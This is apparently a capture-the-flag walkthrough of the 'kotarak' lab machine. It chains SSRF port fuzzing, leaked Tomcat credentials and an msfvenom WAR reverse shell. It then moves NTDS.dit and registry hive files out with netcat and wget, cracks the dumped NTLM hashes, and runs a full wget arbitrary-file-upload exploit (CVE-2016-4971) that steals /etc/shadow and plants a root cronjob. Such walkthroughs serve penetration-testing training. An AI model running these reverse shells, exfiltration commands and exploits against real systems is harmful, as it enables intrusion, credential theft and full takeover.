kotarak
nmap
Initial scan shows
port 22 running ssh
port 8009 running Apache Jserv
port 8080 running http
all ports
Check to see if any services are running on obscure portswe find theres a pecular unknown service running on port 60000
targeted ports
Seems port 60000 is running http on it, lets navigate to it:8080
:8009
:60000
kotarak web hosting page
this is the url we get after using the browser bar
mess with path
lets use server side request forgeries (SSRF) see if we can expose some sensitive files or services on the victim machineresults in the server replying
lets send it to burp
burp
aif we simply send “file” through burpv
we still get but lets check what happens when the command should error out: we'll use “fil”
nothing happens which means theres some sort of regular expression searching with file
localhost
if we point the search at the localhost on the same port we see a 200 ok response come back from the servermeaning the box is susceptable to server side request forgeries or SSRFs!
lets do a port sweep of localhost's ports with the help of the popular fuzz tool wfuzz:
wfuzz
here are wfuzz's usage and arguments:wfuzz all ports of victim machine's localhost
lets run wfuzz against all the victim machines localhost ports and see which we can connect to
and our fuzz target which is
http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ
wfuzz -c -z range,1-65535 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ
where FUZZ is the placeholder where the payload of range 1- 65535 will be inserted
-c is for colors
-z for payload of range,1-65535 (targeting all ports)
we're getting status code 200 responses for everything with
2
characters, but checking the port on burp reveals that its nothing
lets hide every output that has 2 character output by tweaking the script with --hl=2 to hide any 2 Ch responses
Boom, we have a few interesting ports 22,90,110,200,320,888 and 57831 to look into, lets visit each port
:22
Nothing here
:90
This page is under constuction, lets move on
:110
Nothing to see here, just smile and wave
:200
Rndom Hello world page, dead end
:320
Login page! lets make note of this and maybe look for some credentials
:888
Files! lets look at each of these files
?doc=is
is empty
?doc=backup SSRF
Tomcat credentials!
looking at the server response we see there are tomcat credentials leaked
admin
3@g01PdhB!
?doc=blah
blahhhhhh, nothing here
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
:60000
we see the same http service running on localhost port 60000
initial foothold
Tomcat is running on port 8080 as per our nmap scan, so lets navigate there under the /manager/html url because that is typically the login page of tomcat serversTomcat login
Bingo! and because we found leaked credentials thanks to the Server Side Request Forgery vulnerability, lets use them to login to adminadmin
3@g01PdhB!
and we're in!
war upload
One crucial thing to remember about t0mcat webservers is that they typically execute .war files and luckily, msfvenom is capable of generating a reverse shell written in .war easily for us, for reference check out this linkanother way to find the correct payload is to grep for msfvenom's reverse shell payloads
msfvenom -l payloads | grep reverse
where -l is list
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.62 LPORT=80 -f war > shell.war
where
LHOST to our attacking machine's local host IP
LPORT to the local port we want to have netcat listen on, we choose port 80 here because it's most likely to make it through a firewall (53 is also a good choice)
-p is for payload java/jsp_shell_reverse_tcp to send the reverse shell back
-f is for filetype .war because Tomcat servers run war files
reverse shell
now that the file is uploaded we can execute it simply by navigating to the URL in which it is savedperfect!
now lets spawn and shell and implement tab auto complete
python -c 'import pty;pty.spawn("/bin/bash")'
ctrl+z to background
then stty raw -echo
fg to foregound
find files in home directory
lets navigate to our home directoryif we navigate to tomcat/to_archive_pentest_data we see we have two files
we see PSEXEC and NTDS
this is stored on windows active directory controllers.. it is the HEART of windows active directory
information, group policies etc/ including PASSWORDS
.dit is just data (no magic byte)
.bin is a MS registry file " im going to to assume this is the system hive file which contains the boot key that allows us the crypt the .dit
lets exfil these files to our attacking machine
exfil .bin file
lets set up a listener and have it save to a local fileWARNING: make sure you have the symbols right because if you reverse them you'll overwrite the bin file you're trying to exfiltrate and will need to revert the box!
nc -nlvp 443 > SYSTEM
nc 10.10.14.62 443 > 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
-------------------------------------------------------------------------------------------------------------------------------------------------------------------
we can also set up a python http server on our victim and wget them to our attack machine
this way is safer and will prevent you from overwriting the bin files like a moron (like i did twice)
python -m SimpleHTTPServer 5555
wget http://10.10.10.55:5555/20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
wget http://10.10.10.55:5555/20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
impacket
Use Impacket’s secretdump script to extract passwords.impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
hashes:
Kerberos Keys
crack some ntlm hashes
gonna crack these hashes with the crackstation online tool but we could also crack them locally with tools like hashcat or OPHcrackAdministrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-3G2B0H151AC$:1000:aad3b435b51404eeaad3b435b51404ee:668d49ebfdb70aeee8bcaeac9e3e66fd:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ca1ccefcb525db49828fbb9d68298eee:::
WIN2K8$:1103:aad3b435b51404eeaad3b435b51404ee:160f6c1db2ce0994c19c46a349611487:::
WINXP1$:1104:aad3b435b51404eeaad3b435b51404ee:6f5e87fd20d1d8753896f6c9cb316279:::
WIN2K31$:1105:aad3b435b51404eeaad3b435b51404ee:cdd7a7f43d06b3a91705900a592f3772:::
WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:24473180acbcc5f7d2731abe05cfa88c:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
the accounts ending in $ are machine accounts and have automatically generated and incredibly strong passwords, we're after admin, guest, kerberos' ticket generating ticket (golden ticket) and atanas
hashcat
hashes are NTLM so we use module 1000
hashcat -m 1000 ntlm_hashes /usr/share/wordlists/rockyou.txt
crackstation (online)
e64fe0f24ba2489c05e64354d74ebd11 = f16tomcat!
2b576acbe6bcfda7294d6bd18041b8fe = Password123!
privesc to atanis
lets try both passwords to escalate to atanas, Password123! doesnt work but when we try f16tomcat! ....we escalated to atanas! lets grab the user flag and move on!
note: ssh to atanas does NOT work
even though we know f16tomcat! works when using the su command, ssh will not allow us to connect,
the atanas user cannot ssh
user.txt
if we go to /root:
seems the flag we are looking for does not exist on this box, in that case it looks like we'll need to pivot to another box for the root flag
app.log
if we look into /root's files we notice atanas has ownership over a second file app.loglooking into the log file we see 3 wget requests coming from 10.0.3.133, the box we need to pivot to
Also, it can be noted that wget version 1.16 is an old version of wget and we should look into potential vulnerabilities in the outdated software
arp -a
the arp -a command outputs the machine's address resolution protocal and lets you see what types of machines are talking to that particular hostwe have another box on ip 10.0.3.133 talking to kotorak's DMZ
priv esc
this is where things get trickywe see that the IP address 10.0.3.133 is making a GET request to port 80 (default port) to our target machine every 2 minutes
Since the log of this cronjob is saved in the root directory, then we can assume that the cronjob might be running with root privileges and if that's the case we can escalate our privileges to root
out of date wget
we see theres a way to exploit file uploads as well as RCE
set up nc listener on port 80
we can set up a listener on port 80 and confirm the cronjob runs every 2 minutes with netcatwe get denied because we're not allowed to bind to ports less than 1024 without root privileges!
so lets check for AUTHBIND which would bypass that permission check
which authbind
exploit
lets mirror the exploit to our working directory and take a closer look at what it doeslastly we want to copy the python exploit and run the file so that every 2 minutes when the victim's cronjob is executed, it sends a reverse shell back to our attack machine
---[ wget-exploit.py ]---
#!/usr/bin/env python
#
# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# dawid( at )legalhackers.com
#
# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
#
# CVE-2016-4971
#
import SimpleHTTPServer
import SocketServer
import socket;
class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
# This takes care of sending .wgetrc
print "We have a volunteer requesting " + self.path + " by GET :)\n"
if "Wget" not in self.headers.getheader('User-Agent'):
print "But it's not a Wget :( \n"
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
self.send_response(301)
new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
print "Sending redirect to %s \n"%(new_path)
self.send_header('Location', new_path)
self.end_headers()
def do_POST(self):
# In here we will receive extracted file and install a PoC cronjob
print "We have a volunteer requesting " + self.path + " by POST :)\n"
if "Wget" not in self.headers.getheader('User-Agent'):
print "But it's not a Wget :( \n"
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
content_len = int(self.headers.getheader('content-length', 0))
post_body = self.rfile.read(content_len)
print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)
print "Sending back a cronjob script as a thank-you for the file..."
print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(ROOT_CRON)
print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"
return
HTTP_LISTEN_IP = '192.168.57.1'
HTTP_LISTEN_PORT = 80
FTP_HOST = '192.168.57.1'
FTP_PORT = 21
ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget \n"
handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
print "Ready? Is your FTP server running?"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
print "FTP is down :( Exiting."
exit(1)
print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT
handler.serve_forever()
part 1: prepare malicious .wgetrc file on attack machine
cat <<_EOF_>.wgetrc
post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell
_EOF_
Suggestion: copy paste this code into the target box's /dev/shm directory (so it gets deleted on reboot)
part 2: set up ftp server on port 21 (w/ authbind)
authbind python -m pyftpdlib -p21 -wpart 3: exploit.py
copy and paste the exploit.py script from the exploit tab and tweak the following to reflect the HTTP IP and the FTP ip as well as the reverse shell code to connect back to our attacking machinenow run both the ftp server and the exploit.py (which runs the http server) both with authbind and wait for the cronjob to execute:
first run of the cron gets us this response:
root
we see we are root of the machine 10.0.3.133
user/root
93f844f50491ef797c9c1b601b4bece8
950d1425795dfd38272c93ccbb63ae2c